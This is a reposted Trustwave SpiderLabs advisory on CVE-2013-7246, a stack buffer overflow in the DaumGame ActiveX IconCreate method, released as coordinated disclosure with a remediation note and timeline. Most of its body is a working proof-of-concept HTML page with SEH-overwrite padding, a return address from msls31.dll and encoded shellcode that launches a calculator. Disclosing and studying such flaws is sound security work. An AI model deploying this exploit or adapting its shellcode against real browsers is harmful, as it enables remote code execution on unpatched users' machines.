Daum Game - Stack Buffer Overflow

net3design · January 27, 2014

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Trustwave SpiderLabs Security Advisory TWSL2014-002:

Buffer Overflow Vulnerability in DaumGame ActiveX

Published: 01/07/2014

Version: 1.1

Vendor: Daum (daum.net)

Product: Daum Game ActiveX

Version affected: 1.1.0.5, 1.1.0.4

Product description:

DaumGame ActiveX of Daum Communications is a plugin that is required for

playing in Daum Game website.

Finding 1: ActiveX IconCreate SEH Overwrite Remote Code Execution

Credit: Daniel Chechik of Trustwave SpiderLabs

CVE: CVE-2013-7246

CWE: CWE-119

DaumGame ActiveX versions 1.1.0.5, 1.1.0.4 by Daum Communications includes

the vulnerable method "IconCreate" which is designed to support icon

process. The method which accepts printable characters suffers from buffer

overflow vulnerability that leads to SEH overwrite.

The following Proof of Concept (PoC) executes an harmless calculator. In

this PoC the SEH handler is overwritten with an address from 'msls31.dll'

in order to control EIP.

## daumgame.html

-->



<html>

<body>

<object name="activex2" classid="clsid:16B6A027-2732-4028-9303-EFE3E95EF766"> </object>

<script>


var overwrite = unescape("%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05
 %05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%
 05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%0
 5%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05
 %05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%
 05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%
 05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%0
 5%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%90%90%eb%06%a9%15%6c%74%90%90%90%90%90%90%90%90%90%90%90%90");


var buffer = "";

for (i=0; i < 18004; i++ ){
        buffer += "%41";
}

buffer = unescape(buffer);

var shellcode = "\xda\xd1\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x5a\x48\x4f\x79\x33\x30\x45\x50\x35\x50\x71\x70\x6c\x49\x6b\x55\x65\x61\x4b\x62\x63\x54\x6e\x6b\x70\x52\x44\x70\x6e\x6b\x56\x32\x56\x6c\x6e\x6b\x56\x32\x34\x54\x6e\x6b\x33\x42\x74\x68\x34\x4f\x4e\x57\x32\x6a\x54\x66\x56\x51\x49\x6f\x45\x61\x49\x50\x4c\x6c\x37\x4c\x75\x31\x73\x4c\x73\x32\x76\x4c\x75\x70\x6b\x71\x5a\x6f\x76\x6d\x35\x51\x6b\x77\x38\x62\x5a\x50\x71\x42\x56\x37\x4e\x6b\x52\x72\x64\x50\x4c\x4b\x30\x42\x65\x6c\x73\x31\x6e\x30\x6c\x4b\x53\x70\x43\x48\x6e\x65\x6f\x30\x62\x54\x51\x5a\x55\x51\x4a\x70\x42\x70\x4c\x4b\x71\x58\x52\x38\x6e\x6b\x71\x48\x65\x70\x37\x71\x4e\x33\x6a\x43\x67\x4c\x71\x59\x4c\x4b\x75\x64\x4c\x4b\x57\x71\x6b\x66\x35\x61\x69\x6f\x54\x71\x4f\x30\x4e\x4c\x4b\x71\x48\x4f\x64\x4d\x47\x71\x7a\x67\x75\x68\
 x59\x70\x74\x35\x79\x64\x46\x63\x71\x6d\x78\x78\x37\x4b\x51\x6d\x45\x74\x61\x65\x59\x72\x32\x78\x6c\x4b\x72\x78\x45\x74\x63\x31\x4b\x63\x30\x66\x6e\x6b\x64\x4c\x52\x6b\x6e\x6b\x52\x78\x37\x6c\x35\x51\x6e\x33\x4e\x6b\x66\x64\x6e\x6b\x37\x71\x6e\x30\x4b\x39\x77\x34\x54\x64\x75\x74\x71\x4b\x33\x6b\x71\x71\x56\x39\x61\x4a\x76\x31\x69\x6f\x6d\x30\x50\x58\x61\x4f\x32\x7a\x6c\x4b\x47\x62\x58\x6b\x4e\x66\x43\x6d\x50\x6a\x57\x71\x4e\x6d\x6e\x65\x6d\x69\x77\x70\x47\x70\x73\x30\x62\x70\x42\x48\x46\x51\x4e\x6b\x50\x6f\x6b\x37\x39\x6f\x4a\x75\x4d\x6b\x5a\x50\x38\x35\x4c\x62\x76\x36\x32\x48\x6c\x66\x4f\x65\x4d\x6d\x6f\x6d\x39\x6f\x69\x45\x55\x6c\x76\x66\x33\x4c\x76\x6a\x6d\x50\x39\x6b\x4b\x50\x52\x55\x66\x65\x6f\x4b\x53\x77\x76\x73\x63\x42\x30\x6f\x53\x5a\x65\x50\x73\x63\x79\x6f\x5a\x75\x61\x73\x33\x51\x30\x6c\x62\x43\x44\x6e\x35\x35\x61\x68\x63\x55\x43\x30\x41\x41";


var seh_code = overwrite + shellcode + buffer;

activex2.IconCreate(seh_code,'','');



</script>

</body>

</html>

<!--

Remediation Steps:

The vendor has released a fix in version 1.1.0.6

Revision History:

12/20/13 - Vulnerability disclosed to vendor

01/03/14 - Patch released by vendor

01/06/14 - Advisory published

01/07/14 - Confirmed fix

01/07/14 - Advisory revision published

References

1. Daum ??

About Trustwave:

Trustwave is the leading provider of on-demand and subscription-based

information security and payment card industry compliance management

solutions to businesses and government entities throughout the world. For

organizations faced with today's challenging data security and compliance

environment, Trustwave provides a unique approach with comprehensive

solutions that include its flagship TrustKeeper compliance management

software and other proprietary security solutions. Trustwave has helped

thousands of organizations--ranging from Fortune 500 businesses and large

financial institutions to small and medium-sized retailers--manage

compliance and secure their network infrastructure, data communications and

critical information assets. Trustwave is headquartered in Chicago with

offices throughout North America, South America, Europe, Africa, China and

Australia. For more information, visit https://www.trustwave.com

About Trustwave SpiderLabs:

SpiderLabs® is the advanced security team at Trustwave focused on

application security, incident response, penetration testing, physical

security and security research. The team has performed over a thousand

incident investigations, thousands of penetration tests and hundreds of

application security tests globally. In addition, the SpiderLabs Research

team provides intelligence through bleeding-edge research and proof of

concept tool development to enhance Trustwave's products and services.

https://www.trustwave.com/spiderlabs

Disclaimer:

The information provided in this advisory is provided "as is" without

warranty of any kind. Trustwave disclaims all warranties, either express or

implied, including the warranties of merchantability and fitness for a

particular purpose. In no event shall Trustwave or its suppliers be liable

for any damages whatsoever including direct, indirect, incidental,

consequential, loss of business profits or special damages, even if

Trustwave or its suppliers have been advised of the possibility of such

damages. Some states do not allow the exclusion or limitation of liability

for consequential or incidental damages so the foregoing limitation may not

apply.

________________________________

This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is strictly prohibited. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.-->

Source :

TrustWave

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